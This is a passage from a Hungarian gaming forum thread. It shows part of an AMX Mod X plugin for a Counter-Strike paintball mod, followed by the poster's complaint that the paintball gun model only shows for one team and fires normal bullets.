  378.             findpb = g_pbstatus[a] = 0;
  379.  
  380.     set_pev(ent, pev_effects, pev(ent, pev_effects) | EF_NODRAW);
  381.     engfunc(EngFunc_SetSize, ent, Float:{0.0, 0.0, 0.0}, Float:{0.0, 0.0, 0.0});
  382.     set_pev(ent, pev_velocity, Float:{0.0, 0.0, 0.0});
  383.     engfunc(EngFunc_SetOrigin, ent, Float:{-2000.0, -2000.0, -2000.0});
  384.     if (pev(ent, pev_renderfx) != kRenderFxNone)
  385.         set_rendering(ent);
  386. }
  387.  
  388. public ev_roundstart()
  389. {
  390.     for (new a = 1; a <= g_pbcount; a++)
  391.         if (g_pbstatus[a] != 0)
  392.             paint_reset(g_paintballs[a]+TASK_PB_RESET);
  393.     if (freezetime)
  394.         freezetime = 0;
  395. }
  396.  
  397. public ev_freezetime()
  398.     freezetime = 1;
  399.  
  400. stock user_has_pbgun(id)
  401. {
  402.     if (is_user_alive(id))
  403.     {
  404.         new model[25];
  405.         pev(id, pev_viewmodel2, model, 24);
  406.         if (containi(model, "models/v_pbgun") != -1)
  407.             return 1;
  408.         else if (equali(model, "models/v_pbusp.mdl"))
  409.             return 2;
  410.         else if (equali(model, "models/v_pbglock.mdl"))
  411.             return 3;
  412.     }
  413.     return 0;
  414. }
  415.  
  416. stock set_user_clip(id, ammo)
  417. {
  418.     new weaponname[32], weaponid = -1, weapon = get_user_weapon(id, _, _);
  419.     get_weaponname(weapon, weaponname, 31);
  420.     while ((weaponid = engfunc(EngFunc_FindEntityByString, weaponid, "classname", weaponname)) != 0)
  421.         if (pev(weaponid, pev_owner) == id) {
  422.             set_pdata_int(weaponid, 51, ammo, 4);
  423.             return weaponid;
  424.         }
  425.     return 0;
  426. }
  427.  
  428. // teame06's function
  429. stock set_rendering(index, fx=kRenderFxNone, r=0, g=0, b=0, render=kRenderNormal, amount=16)
  430. {
  431.     set_pev(index, pev_renderfx, fx);
  432.     new Float:RenderColor[3];
  433.     RenderColor[0] = float(r);
  434.     RenderColor[1] = float(g);
  435.     RenderColor[2] = float(b);
  436.     set_pev(index, pev_rendercolor, RenderColor);
  437.     set_pev(index, pev_rendermode, render);
  438.     set_pev(index, pev_renderamt, float(amount));
  439. }


a modell megjelenik (csak a Ct csapaté mind2 csapatban) és rendes lövedéket lő nem paintball-t a pisztolyt azt cseréltem már ott ment de ez nem :C


Hozzászólás jelentése
Vissza a tetejére
   
Hozzászólások megjelenítése:  Rendezés  
Új téma nyitása  Hozzászólás a témához  [ 5 hozzászólás ] 


Ki van itt

Jelenlévő fórumozók: nincs regisztrált felhasználó valamint 41 vendég


Nyithatsz új témákat ebben a fórumban.
Válaszolhatsz egy témára ebben a fórumban.
Nem szerkesztheted a hozzászólásaidat ebben a fórumban.
Nem törölheted a hozzászólásaidat ebben a fórumban.
Nem küldhetsz csatolmányokat ebben a fórumban.

Keresés:
Ugrás:  
Powered by phpBB® Forum Software © phpBB Limited
Magyar fordítás © Magyar phpBB Közösség
Portal: Kiss Portal Extension © Michael O'Toole